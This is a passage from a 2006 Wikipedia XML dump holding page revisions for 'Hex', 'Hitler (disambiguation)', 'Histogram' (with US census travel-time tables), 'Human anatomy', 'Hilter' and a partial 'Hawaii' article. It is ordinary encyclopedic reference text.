[[sl:Šestnajstiški številski sistem]]
[[sr:Хексадецимални систем]]
[[fi:Heksadesimaalijärjestelmä]]
[[sv:Sedecimala talsystemet]]
[[th:เลขฐานสิบหก]]
[[tr:Hexadecimal]]
[[zh:十六进制]]</text>
    </revision>
  </page>
  <page>
    <title>Hex</title>
    <id>13264</id>
    <revision>
      <id>38107678</id>
      <timestamp>2006-02-04T05:47:26Z</timestamp>
      <contributor>
        <username>Driscolj</username>
        <id>215792</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Wiktionarypar|hex}}
'''Hex''' may mean:

*[[Hex (board game)]].
*[[Hex (Discworld)]], a fictional computer from Terry Pratchett's ''Discworld'' novels. 
*[[Hex (Doctor Who)]], a character in the ''Big Finish Productions'' audio plays based on the television series ''Doctor Who''.
*[[Hex (TV Series)]].
*[[Hex (album)]], an album by the band [[Bark Psychosis]].
*[[Hex (band)]], a heavy metal band.
*[[Hex (book)]], set in [[New York City]].
*[[Hex (film)]], a [[1973 in film|1973]] film
*A Greek root word denoting &quot;six&quot; as in &quot;[[hexagon]]&quot;, a six-sided geometric figure.
*Abbreviation of [[hexadecimal]], a base-16 number system often used when doing low-level work on computers (e.g., assembly or machine code programming).
*[[Hex River]], South Africa.
*A [[curse]] or magical spell.
*[[pow-wow (folk magic)]], the Pennsylvania German magical system of &quot;hex work&quot;.
*The name of a trilogy of sci-fi books by [[Rhiannon Lassiter]].
*A madhouse ride at [[Alton Towers]] theme park in Staffordshire, England.
*[[Hex (VJ group)]], A British-based multimedia group active in the 1990s
*[[Jonah Hex]], a DC Comics character.
{{disambig}}

[[da:Hex]]
[[de:Hex]]
[[pl:Hex]]</text>
    </revision>
  </page>
  <page>
    <title>Hitler (disambiguation)</title>
    <id>13265</id>
    <revision>
      <id>40279486</id>
      <timestamp>2006-02-19T13:31:11Z</timestamp>
      <contributor>
        <username>Anthony Appleyard</username>
        <id>119438</id>
      </contributor>
      <text xml:space="preserve">There have been several persons named '''Hitler''':
* [[Adolf Hitler]] (1889&amp;ndash;1945), ''[[Führer]]'' (Leader) of the [[National Socialist German Workers' Party]] and dictator of [[Nazi Germany]] from [[1933]] to [[1945]]. Some of his family members are:
** [[Alois Hitler]], father
** [[Alois Hitler, Jr.]], half-brother
** [[Angela Hitler]], half-sister
** [[Klara Hitler]], mother
** [[Paula Hitler]], sister
** [[William Patrick Hitler]], nephew

Individuals unrelated to Adolf Hitler:
* [[Adolf Lu Hitler Marak]], an Indian politician for the Nationalist Congress Party
* [[Chenjerai Hitler Hunzvi]], Zimbabwean nationalist leader
* Distinguish from:-
** [[Walter Heitler|Walter Heinrich Heitler]], a German – Irish [[physicist]]

In reference to Adolf Hitler:
* [[Hitler salute]], also known as the Nazi salute, is a variant of the [[Roman salute]] adopted by the Nazi party as a sign of loyalty to its leader Adolf Hitler
* [[Hitler moustache]], a moustache style popularized by Adolf Hitler and [[Charlie Chaplin]]
* [[Hitler Youth]] (Hitlerjugend), a [[paramilitary]] organization of the Nazi Party that existed from [[1922]] to [[1945]]
* [[Hitler Diaries]], forged diaries purportedly authored by Adolf Hitler

In fiction and entertainment:
* ''[[Springtime for Hitler]]'', a fictional musical about Adolf Hitler within Mel Brooks' 1968 film ''The Producers''
* [[Saturday Night Live characters appearing on Weekend Update#Gay Hitler|Gay Hitler]], a ''Saturday Night Live'' character
* Bing Hitler, early stage name of Scottish comedian [[Craig Ferguson]]
* Eddie Hitler, Adrian Edmondson's character in ''[[Bottom (television)|Bottom]]''
* [[Ted Hitler]], pseudonym for [[Stephen Colbert]] of the television news programs the [[Daily Show]] and the [[Colbert Report]]

[[Documentary film|Documentary films]]:
* ''[[Hitler: The Rise of Evil]]'', a television miniseries depicting Adolf Hitler's rise to power
* ''[[Hitler: The Last Ten Days]]'' (1973), a film depicting the days leading up to Adolf Hitler's suicide
{{disambig}}
[[de:Familie Hitler]]
[[nn:Hitler]]
[[pt:Hitler]]
[[Category:Adolf Hitler]]</text>
    </revision>
  </page>
  <page>
    <title>Histogram</title>
    <id>13266</id>
    <revision>
      <id>40638775</id>
      <timestamp>2006-02-22T00:10:13Z</timestamp>
      <contributor>
        <username>Garglebutt</username>
        <id>284140</id>
      </contributor>
      <minor />
      <comment>/* Mathematical Definition */</comment>
      <text xml:space="preserve">:&lt;span class=&quot;dablink&quot;&gt;''For the histogram used in digital image processing, see [[Color histogram]].''&lt;/span&gt;
In [[statistics]], a '''histogram''' is a [[graphical display]] of tabulated frequencies. That is, a histogram is the graphical version of a table which shows what proportion of cases fall into each of several or many specified categories. The categories are usually specified as nonoverlapping intervals of some variable. The categories (bars) must be adjacent.

Part of Seven tools of quality  (Quality improvement tools that include the histogram, [[Pareto chart]], [[check sheet]], [[control chart]], [[cause-and-effect diagram]], [[flowchart]], and [[scatter diagram]].) see [[http://en.wikipedia.org/wiki/Glossary_of_terms_related_to_Quality_Management]]
== Examples ==

There are many different ways to display the same table, and two kinds of histograms are shown below. As an example we consider data collected by the U.S. Census Bureau on time to travel to work (2000 census, [http://www.census.gov/prod/2004pubs/c2kbr-33.pdf], Table 5). Actually, this document shows bar graphs, but they are not histograms since the bars are not adjacent. The census found that there were 124 million people who work outside of their homes. People were asked how long it takes them to get to work, and their responses were divided into categories: less than 5 minutes, more than 5 minutes and less than 10, more than 10 minutes and less than 15, and so on. The tables shows the numbers of people per category in thousands, so that 4,180 means 4,180,000.

The data in the following tables are displayed graphically by the diagrams below. An interesting feature of both diagrams is the spike in the 30 to 35 minutes category. It seems likely that this is an artifact: half an hour is a common unit of informal time measurement, so people whose travel times were perhaps a little less than or a little greater than 30 minutes might be inclined to answer &quot;30 minutes&quot;.

=== Data by absolute numbers ===

[[Image:Travel_time_histogram_total_n.png|thumb|350px|Histogram of travel time, US 2000 census. Area under the curve equals the total number of cases. This diagram uses Q/width from the table.]]

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;1&quot; style=&quot;text-align:center; margin:10px;&quot; &gt;
 &lt;tr&gt; &lt;td&gt;Interval&lt;/td&gt; &lt;td&gt;Width&lt;/td&gt; &lt;td&gt;Quantity&lt;/td&gt; &lt;td&gt;Quantity/width&lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt;  0  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt;  4,180 &lt;/td&gt; &lt;td&gt;  836  &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt;  5  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt; 13,687 &lt;/td&gt; &lt;td&gt; 2,737 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt; 10  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt; 18,618 &lt;/td&gt; &lt;td&gt; 3,723 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt; 15  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt; 19,634 &lt;/td&gt; &lt;td&gt; 3,926 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt; 20  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt; 17,981 &lt;/td&gt; &lt;td&gt; 3,596 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt; 25  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt;  7,190 &lt;/td&gt; &lt;td&gt; 1,438 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt; 30  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt; 16,369 &lt;/td&gt; &lt;td&gt; 3,273 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt; 35  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt;  3,212 &lt;/td&gt; &lt;td&gt;  642  &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt; 40  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt;  4,122 &lt;/td&gt; &lt;td&gt;  824 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt; 45  &lt;/td&gt; &lt;td&gt;  15 &lt;/td&gt; &lt;td&gt;  9,200 &lt;/td&gt; &lt;td&gt;  613 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt; 60  &lt;/td&gt; &lt;td&gt;  30 &lt;/td&gt; &lt;td&gt;  6,461 &lt;/td&gt; &lt;td&gt;  215 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt; 90  &lt;/td&gt; &lt;td&gt;  60 &lt;/td&gt; &lt;td&gt;  3,435 &lt;/td&gt; &lt;td&gt;   57 &lt;/td&gt; &lt;/tr&gt;
&lt;/table&gt;

This histogram shows the number of cases per [[unit interval]] so that the height of each bar is equal to the proportion of total people in the survey who fall into that category. The area under the curve represents the total number of cases (124 million). This type of histogram is ideal for an overview of absolute numbers.
&lt;br clear=&quot;all&quot; /&gt;

=== Data by proportion ===

[[Image:Travel_time_histogram_total_1.png|thumb|350px|Histogram of travel time, US 2000 census. Area under the curve equals 1. This diagram uses Q/total/width from the table.]]

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;1&quot; style=&quot;text-align:center; margin:10px;&quot; &gt;
 &lt;tr&gt; &lt;td&gt;Interval&lt;/td&gt; &lt;td&gt;Width&lt;/td&gt; &lt;td&gt;Quantity (Q)&lt;/td&gt;&lt;td&gt;Q/total/width&lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt;  0  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt;  4,180 &lt;/td&gt; &lt;td&gt; 0.0067 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt;  5  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt; 13,687 &lt;/td&gt; &lt;td&gt; 0.0220 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt; 10  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt; 18,618 &lt;/td&gt; &lt;td&gt; 0.0300 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt; 15  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt; 19,634 &lt;/td&gt; &lt;td&gt; 0.0316 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt; 20  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt; 17,981 &lt;/td&gt; &lt;td&gt; 0.0289 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt; 25  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt;  7,190 &lt;/td&gt; &lt;td&gt; 0.0115 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt; 30  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt; 16,369 &lt;/td&gt; &lt;td&gt; 0.0263 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt; 35  &lt;/td&gt; &lt;td&gt;   5 &lt;/td&gt; &lt;td&gt;  3,212 &lt;/td&gt; &lt;td&gt; 0.0051 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt;  40 &lt;/td&gt; &lt;td&gt;  5 &lt;/td&gt; &lt;td&gt; 4,122 &lt;/td&gt;  &lt;td&gt; 0.0066 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt;  45 &lt;/td&gt; &lt;td&gt; 15 &lt;/td&gt; &lt;td&gt; 9,200 &lt;/td&gt;  &lt;td&gt; 0.0049 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt;  60 &lt;/td&gt; &lt;td&gt; 30 &lt;/td&gt; &lt;td&gt; 6,461 &lt;/td&gt;  &lt;td&gt; 0.0017 &lt;/td&gt; &lt;/tr&gt;
 &lt;tr&gt; &lt;td&gt;  90 &lt;/td&gt; &lt;td&gt; 60 &lt;/td&gt; &lt;td&gt; 3,435 &lt;/td&gt;  &lt;td&gt; 0.0004 &lt;/td&gt; &lt;/tr&gt;
&lt;/table&gt;

This histogram differs from the first only in the [[vertical]] scale. The height of each bar is the decimal percentage of the total that each category represents, and the total height of all the bars is equal to 1, the decimal equivalent of 100%. This version is ideal for comparing proportions.
&lt;br clear=&quot;all&quot; /&gt;

== Mathematical Definition ==

In a more general mathematical sense, a histogram is simply a mapping that counts the number of observations that fall into various disjoint categories (known as ''bins''), whereas the graph of a histogram, which is often taught at high-school, is merely one way to represent a histogram. Thus, if we let ''N'' be the total number of observations and ''n'' be the total number of bins, the histogram &lt;math&gt;h_k&lt;/math&gt; meets the following conditions:

&lt;math&gt;N = \sum_{k=1}^n{h_k}&lt;/math&gt;

where ''k'' is an index over the bins.

=== Cumulative Histogram ===

A cumulative histogram is a mapping that counts the cumulative number of observations in all of the bins up to the specified bin. That is, the cumulative histogram &lt;math&gt;H_k&lt;/math&gt; of a histogram &lt;math&gt;h_k&lt;/math&gt; is defined as:

&lt;math&gt;H_k = \sum_{k\prime=1}^k{h_{k\prime}}&lt;/math&gt;

== External links ==

* [http://www.census.gov/population/www/socdemo/journey.html Journey To Work and Place Of Work] ''(location of census document cited in example)''
* [http://www.vias.org/tmdatanaleng/cc_histogram.html Teach/Me Data Analysis]
* [http://www.luminous-landscape.com/tutorials/understanding-series/understanding-histograms.shtml Understanding histograms in digital photography]

[[Category:Charts]]
[[Category:Statistics]]
[[Category:Diagrams]]

[[de:Histogramm]]
[[es:Histograma]]
[[eu:Histograma]]
[[fr:Histogramme]]
[[it:Istogramma]]
[[nl:Histogram]]
[[pl:Histogram]]
[[pt:Histograma]]
[[ru:Гистограмма]]
[[su:Histogram]]
[[fi:Histogrammi]]
[[sv:Histogram]]</text>
    </revision>
  </page>
  <page>
    <title>Human anatomy</title>
    <id>13268</id>
    <revision>
      <id>42152785</id>
      <timestamp>2006-03-04T04:09:58Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/66.30.85.172|66.30.85.172]] ([[User talk:66.30.85.172|talk]]) to last version by Jeffrey O. Gustafson</comment>
      <text xml:space="preserve">'''Human anatomy''' or '''anthropotomy''' is a special field within [[anatomy]].  It studies gross structures and systems of the '''[[homo sapiens|human]] body''', leaving the study of tissues to [[histology]] and cells to [[cytology]].  
The human body, like the bodies of all animals, consists of systems, that consist of [[Organ (anatomy)|organ]]s, that consist of [[Biological tissue|tissue]]s, that consist of [[Biological cell|cell]]s.

See [[History of anatomy]] for a history of anatomy, including human anatomy.

==Human [[organ (anatomy)|organ systems]]==
*[[Cardiovascular system]]: blood circulations with heart and blood vessels
*[[Digestive system]]: processing food with mouth, stomach and intestines
*[[Endocrine system]]: communicating within the body using hormones
*[[Immune system]]: defending against disease-causing agents
*[[Integumentary system]]: skin, hair and nails
*[[Lymphatic system]]: structures involved in the transfer of lymph between tissues and the bloodstream
*[[Muscular system]]: moving the body
*[[Nervous system]]: collecting, transferring and processing information with brain and nerves
*[[Reproductive system]]: the sex organs
*[[Respiratory system]]: the organs used for breathing, the lungs
*[[Skeletal system]]: structural support and protection through bones
*[[Urinary system]]: the kidneys and associated structures involved in the production and excretion of urine


==External features==
[[Image:human body features.png|thumb|right|300px|External body features]]
Common names of well known parts of the human body, from top to bottom :
:[[Skin]]
:[[head (anatomy)|Head]] -- [[Forehead]] -- [[Eye]] -- [[Ear]] -- [[Nose]] -- [[Mouth]] -- [[Tongue]] -- [[tooth|Teeth]] -- [[Mandible|Jaw]] -- [[Face]] -- [[Cheek]] -- [[Chin]]
:[[Neck]] -- [[Throat]] -- [[Adam's apple]] -- [[Shoulder]]s
:[[Arm]] -- [[Elbow]] -- [[Wrist]] -- [[Hand]] -- [[Finger]]s -- [[Thumb]]
:[[Spine (anatomy)|Spine]] -- [[Chest]] -- [[Breast]] -- [[Ribcage]]
:[[Abdomen]] -- [[Umbilicus|Belly button]] -- [[Sex organ]]s ([[Penis]]/[[Scrotum]] or [[Clitoris]]/[[Vagina]]) -- [[Rectum]] -- [[Anus]]
:[[Hip (anatomy)|Hip]] -- [[Buttock]]s -- [[Human leg|Leg]] -- [[Thigh]] -- [[Knee]] -- [[calf muscle|Calf]] -- [[Heel]] -- [[Ankle]] -- [[Foot]] -- [[Toe]]s

==Internal organs==
Common names of internal organs (in alphabetical order) :
:[[Adrenal gland|Adrenals]] -- [[Vermiform appendix|Appendix]] -- [[Urinary bladder|Bladder]] -- [[Human brain|Brain]] -- [[Duodenum]] -- [[Eye]]s -- [[Gall bladder]] -- [[Heart]] -- [[Intestine]]s -- [[Kidney]] -- [[Liver]]-- [[Lung]]s -- [[Ovary|Ovaries]] -- [[Pancreas]] -- [[Parathyroid gland|Parathyroids]] -- [[Pituitary gland|Pituitary]] -- [[Prostate]] -- [[Skin]] -- [[Spleen]] -- [[Stomach]] -- [[Thymus]] -- [[Thyroid]] -- [[Testicle]]s -- [[Womb]]

==Anatomy of the [[brain]]==
:[[Amygdala]] -- [[Brainstem]] -- [[Cerebellum]] -- [[Cerebral cortex]] -- [[Hypothalamus]] -- [[Limbic system]] -- [[medulla oblongata|medulla]]-- [[midbrain]]  --  [[Pituitary|Pituitary gland]]  -- [[pons]] 
:See also: [[Human brain]], [[List of regions in the human brain]]

==Studying human anatomy==
[[Image:Human skeleton diagram.png|thumb|150px|Human [[skeleton|skeletal]] structure]]
Certain professions, especially [[medicine]] and [[physiotherapy]], require the study of human anatomy in depth. Textbooks usually split the body into the following regional groups:
* [[Head]] and [[Neck]] - includes everything above the [[thoracic inlet]]
* [[Upper limb]] - includes everything from your [[hand]], [[forearm]], [[arm]], [[shoulder]], [[axilla]], [[pectoral]] region and [[scapula]]r region.
* Thorax - contains the region of the chest from the [[thoracic inlet]] to the [[thoracic diaphragm]].
* Abdomen - everything from the thoracic diaphragm to the [[pelvic brim]] or to the [[pelvic inlet]].
* The back - about the spine and its components, the [[intervertebral disk]]s and [[intervertebral body|bodies]]
* [[Pelvis]] and [[Perineum]] - the pelvis consists of everything from the [[pelvic inlet]] to the [[pelvic diaphragm]]. The perineum is everything below the [[pelvic diaphragm]].
* [[Lower limb]] - the lower limb is usually everything below the [[inguinal ligament]], including the [[thigh]], the [[hip joint]], the [[Human leg|leg]], and the [[foot]].

==See also==
* [[Anatomy]]
* [[Body orifice]]s
* [[Death]] - physical consequences of death
* [[Human]]
* [[Human biology]]
* [[Terms for anatomical location]]

* [[List of human anatomical features]]
* [[Human anatomical parts named after people|List of human anatomical parts named after people]]
* [[List of regions in the human brain]]
* [[List of bones of the human skeleton]]
* [[List of muscles of the human body]]
* [[List of distinct cell types in the adult human body]]

{{organ systems}}

[[Category:Human anatomy| ]]

[[an:Anatomía umana]]
[[zh-min-nan:Sin-khu]]
[[de:Anatomie des Menschen]]
[[et:Inimese anatoomia]]
[[es:Anatomía humana]]
[[eo:Homa anatomio]]
[[fa:کالبدشناسی انسان]]
[[fr:Anatomie humaine]]
[[is:Líffærafræði mannsins]]
[[it:Anatomia umana]]
[[he:גוף האדם]]
[[hu:Emberi test]]
[[nl:Menselijke anatomie]]
[[ja:人体解剖学]]
[[no:Menneskets anatomi]]
[[pl:Anatomia człowieka]]
[[pt:Corpo humano]]
[[simple:Human body]]
[[sk:Anatómia človeka]]
[[sl:Anatomija človeka]]
[[sv:Människokroppen]]
[[uk:Анатомія людини]]
[[zh:人体解剖学]]</text>
    </revision>
  </page>
  <page>
    <title>Hilter</title>
    <id>13269</id>
    <revision>
      <id>31173855</id>
      <timestamp>2005-12-13T09:58:41Z</timestamp>
      <contributor>
        <ip>128.122.138.6</ip>
      </contributor>
      <text xml:space="preserve">'''Hilter''' is a municipality in the [[Osnabrück (district)|district Osnabrück]], [[Lower Saxony]], [[Germany]]. It is located in the hills of the [[Teutoburg Forest]].

As of 2004 it has a population of 10,179, and covers an area of 52.61 [[square kilometre|km²]]. Highest elevation is the Hohnangel with 262 m above sea level.

The municipality was formed on [[July 1]] [[1972]] by merging the municipalities Borgloh, Hankenberge and Hilter. Already in 1970 the municipalities Allendorf, Borgloh-Wellendorf, Ebbendorf, Eppendorf and Uphöfen were merged into the ''Einheitsgemeinde'' Borgloh. 

==External links==
*http://www.hilter.de Official website (German)


----

'''Mr. Hilter''' is the name [[Adolf Hitler]] (played by [[John Cleese]]) uses in a [[Monty Python]] sketch to run for the regional [[elections]] in [[Minehead]].</text>
    </revision>
  </page>
  <page>
    <title>Hawaii</title>
    <id>13270</id>
    <revision>
      <id>42151405</id>
      <timestamp>2006-03-04T03:56:42Z</timestamp>
      <contributor>
        <username>Schzmo</username>
        <id>175037</id>
      </contributor>
      <comment>Revert to revision dated 13:29, 3 March 2006 by RexNL, oldid 42082116 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Otheruses1|the U.S. State}}
{{US state |
  Name            = Hawaii |
  Fullname        = State of Hawaii&lt;br /&gt;Moku{{okina}}āina o Hawai{{okina}}i |
  Flag            = Flag of Hawaii.svg |
  Flaglink        = [[Flag of Hawaii]] |
  Seal            = Hawaii state seal.png |
  Map             = Hi-locator.png |
  Nickname        = The Aloha State |
  Capital         = [[Honolulu, Hawaii|Honolulu]] |
  LargestCity     = [[Honolulu, Hawaii|Honolulu]] |
  OfficialLang    = [[Hawaiian language|Hawaiian]] and [[Hawaiian English|English]] |
  Governor        = [[Linda Lingle]] (R)|
  Senators        = [[Daniel Inouye]] (D)
[[Daniel Akaka]] (D) |
  Representatives = [[Neil Abercrombie]] (D)| [[Ed Case]] (D) |
  PostalAbbreviation = HI |
  AreaRank        = 43&lt;sup&gt;rd&lt;/sup&gt; |
  TotalArea       = 28,337 |
  LandArea        = 16,649 |
  WaterArea       = 11,672 |
  PCWater         = 41.2 |
  PopRank         = 42&lt;sup&gt;nd&lt;/sup&gt; |
  2000Pop         = 1,211,537 |
  DensityRank     = 13&lt;sup&gt;th&lt;/sup&gt; |
  2000Density     = 42.75 |
  AdmittanceOrder = 50&lt;sup&gt;th&lt;/sup&gt; |
  AdmittanceDate  = [[August 21]], [[1959]] |
  TimeZone        = [[Hawaii-Aleutian Standard Time Zone|Hawaii]]: [[Coordinated Universal Time|UTC]]-10/ (no daylight saving time) |
  Longitude       = 154°40'W to 162°W |
  Latitude        = 18°55'N to 29°N |
  Width           = n/a |
  Length          = 2,450 |
  HighestElev     = 4,207 |
  MeanElev        = 925 |
  LowestElev      = 0 |
  ISOCode         = US-HI |
  Website         = www.hawaii.gov/
}}

'''Hawaii''' ([[Hawaiian language|Hawaiian]]/[[Hawaiian English]]: '''Hawai{{okina}}i''', with the ''[[Okina|{{okina}}okina]]''; also, historically, the '''[[Sandwich Islands]]''') is located in the [[archipelago]] of the [[Hawaiian Islands]] in the [[Pacific Ocean]], {{coor dms|19|28|41|N|155|32|47|W|type:country|region:US}}.  Admitted on [[August 21]], [[1959]], Hawai{{okina}}i constitutes the 50th [[U.S. states|state]] of the [[United States]] and is situated 2300 miles from the mainland.  It is the [[Extreme points of the United States|southernmost part of that country]].  As of the [[United States 2000 Census|2000 U.S. Census]] it had a population of 1,211,537 people. [[Honolulu, Hawaii|Honolulu]] is the largest city and the state capital.

Hawai{{okina}}i is the most recently admitted state of the United States.  In addition to possessing the southernmost point in the United States, it is the only state that lies completely in the [[tropics]]. As one of two states outside the [[continental United States|contiguous United States]] (the other being [[Alaska]]), it is the only state without territory on the mainland of any continent and it is the only state that continues to grow because of active [[lava]] flows, most notably from [[Kilauea|Kīlauea]]. For various reasons, Hawai{{okina}}i is considered the [[endangered species]] capital of the United States. Ethnically, Hawai{{okina}}i is the only state that has a majority group that is non-white (and one of only four in which non-Hispanic whites do not form a majority) and has the largest percentage of [[Asian Americans]].

==Symbols==
The state constitution and various other measures of the Hawai{{okina}}i  State Legislature established official symbols meant to embody the distinctive culture and heritage of Hawai{{okina}}i. These include a [[List of U.S. state birds|state bird]], [[state flower]], [[state gem]], [[state mammal]], and [[state tree]]. The ''humuhumunukunukuāpua'a'' or [[reef triggerfish]] was the [[state fish]], but in 2006, the authorizing legislation was found to have expired.

Included are the two statues representing Hawai{{okina}}i in the [[United States Capitol]]; those of King [[Kamehameha I]] and [[Father Damien]].

The primary symbol is the state flag, ''[[Flag of Hawaii|Ka Hae Hawai{{okina}}i]]'', influenced by the British [[Union Flag]] and features eight horizontal stripes representing the eight major Hawaiian Islands. The constitution declares the [[state motto]] to be ''Ua Mau ke Ea o ka {{okina}}Āina i ka Pono'', a pronouncement of King Kamehameha III meaning, &quot;The life of the land is perpetuated in righteousness.&quot; It was also the motto of the kingdom, republic and territory. The official languages are [[Hawaiian language|Hawaiian]] and [[Hawaiian English]]. [[Hawaiian Pidgin]] is an unofficial language. The [[state song]] is ''[[Hawai'i pono'ī|Hawai{{okina}}i pono{{okina}}ī]]'', written by [[Kalakaua|King Kalākaua]] and composed by [[Henri Berger]]. ''[[Hawaii Aloha|Hawai{{okina}}i Aloha]]'' is the unofficial state song, often sung in official state events.

&lt;center&gt;&lt;gallery&gt;
Image:Nene.neck.arp.600pix.jpg|[[Hawaiian goose]]&lt;br&gt;''Nēnē''&lt;br&gt;State Bird
Image:Humuhumunukunukuapuaa.jpg|[[Reef triggerfish]]&lt;br&gt;''Humuhumunukunukuāpua'a''&lt;br&gt; Former State Fish
Image:Maohauhele.jpg|[[Hawaiian hibiscus]]&lt;br&gt;''Ma{{okina}}o hau hele''&lt;br&gt;State Flower
Image:Aleuritesmoluccana1web.jpg|[[Candlenut]]&lt;br&gt;''Kuku{{okina}}i''&lt;br&gt;State Tree
Image:Humpback Whale underwater shot.jpg|[[Humpback whale]]&lt;br&gt;''Koholā kuapi{{okina}}o''&lt;br&gt;State Mammal
Image:Fatherdamienstatue2.jpg|[[Father Damien Statue]]&lt;br&gt;State Capitol
Image:Kamehamehastatue.jpg|[[Kamehameha Statue]] in Hilo, Hawaii&lt;br&gt;(also at Ali{{okina}}iolani Hale, Oahu, Hawaii; Kohala, Hawaii; and Washington, D.C.)
&lt;/gallery&gt;&lt;/center&gt;

==Geography==
{{main|Hawaiian Islands}}

Hawaii is the only U.S. state that is completely surrounded by water.  It is one of two states that does not share a border with another U.S. state ([[Alaska]] being the other).

Nineteen islands and atolls extending across a distance of 2,400 km (1,500 mi) comprise the Hawaiian Archipelago. The main islands are the eight high islands at the southeastern end of the island chain.  These islands are, in order from the northwest to southeast, Ni{{okina}}ihau, Kaua{{okina}}i, O{{okina}}ahu, Moloka{{okina}}i, Lāna{{okina}}i, Kaho{{okina}}olawe, Maui and the Island of Hawai{{okina}}i.
{{ussm|hawaii.png|hi}}

All of the Hawaiian Islands were formed by [[volcano]]es arising from the sea floor through a vent described in geological theory as a [[hotspot (geology)|hotspot]].  The theory maintains that as the [[tectonic plate]] beneath much of the Pacific Ocean moves in a northwesterly direction, the hot spot remains stationary, slowly creating new volcanoes.  This explains why only volcanoes on the southern half of the Island of Hawai{{okina}}i are presently active.  

The last volcanic eruption outside the Island of Hawai{{okina}}i happened at [[Haleakala|Haleakalā]] on Maui in the late 18th century.  The newest volcano to form is [[Loihi Seamount|Lō{{okina}}ihi]], deep below the waters off the southern coast of the Island of Hawai{{okina}}i.

The isolation of the Hawaiian Islands in the middle of the Pacific Ocean, and the wide range of environments to be found on high islands located in and near the tropics, has resulted in a vast array of [[endemic (ecology)|endemic]] [[flora (plants)|flora]] and [[fauna (animals)|fauna]].  The volcanic activity and subsequent [[erosion]] created impressive geological features.  Those conditions make [[Mount Waialeale|Mount Wai{{okina}}ale{{okina}}ale]] the third wettest place on earth; it averages 11.7 m (460 in) of rain annually.

The movement of the Hawaiian royal family from the Island of Hawai{{okina}}i to Maui and subsequently to O{{okina}}ahu explains why certain population centers exist where they do today.  The largest city, [[Honolulu, Hawaii|Honolulu]], was the one chosen by King Kamehameha III as the capital of his kingdom because of the natural harbor there, the present-day [[Honolulu Harbor]]. 

Other large cities and towns include [[Hilo, Hawaii|Hilo]], [[Kahului, Hawaii|Kahului]] and [[Lihue, Hawaii|Līhu{{okina}}e]].

&lt;center&gt;&lt;gallery&gt;
Image:Niihausatellite.jpg|[[Niihau|Ni{{okina}}ihau]]
Image:Kauai from space oriented.jpg|[[Kauai|Kaua{{okina}}i]]
Image:Oahu.jpg|[[Oahu|O{{okina}}ahu]]
Image:Maui.jpg|[[Maui]]
Image:Molokaifromsatellite.jpg|[[Molokai|Moloka{{okina}}i]]
Image:Lanaisatellite.jpg|[[Lanai|Lāna{{okina}}i]]
Image:Kahoolawesatellite.jpg|[[Kahoolawe|Kaho{{okina}}olawe]]
Image:STS61A-50-57.jpg|[[Hawaii (island)|Hawai{{okina}}i]]
&lt;/gallery&gt;&lt;/center&gt;

==Climate==
''Main article: [[Hawaiian Islands]]''

The climate of Hawai{{okina}}i is atypical for a tropical area and regarded as more subtropical than the latitude would suggest because of the moderating effect of the surrounding ocean. Temperatures and humidity tend to be less extreme, with summer high temperatures seldom reaching above the upper 80's (°F) and winter temperatures (at low elevation) seldom dipping below the mid-60's. Snow, although not usually associated with tropics, falls at high elevations on Mauna Kea and Mauna Loa on the Big Island in some winter months.  Snow only rarely falls on Maui's Haleakala.

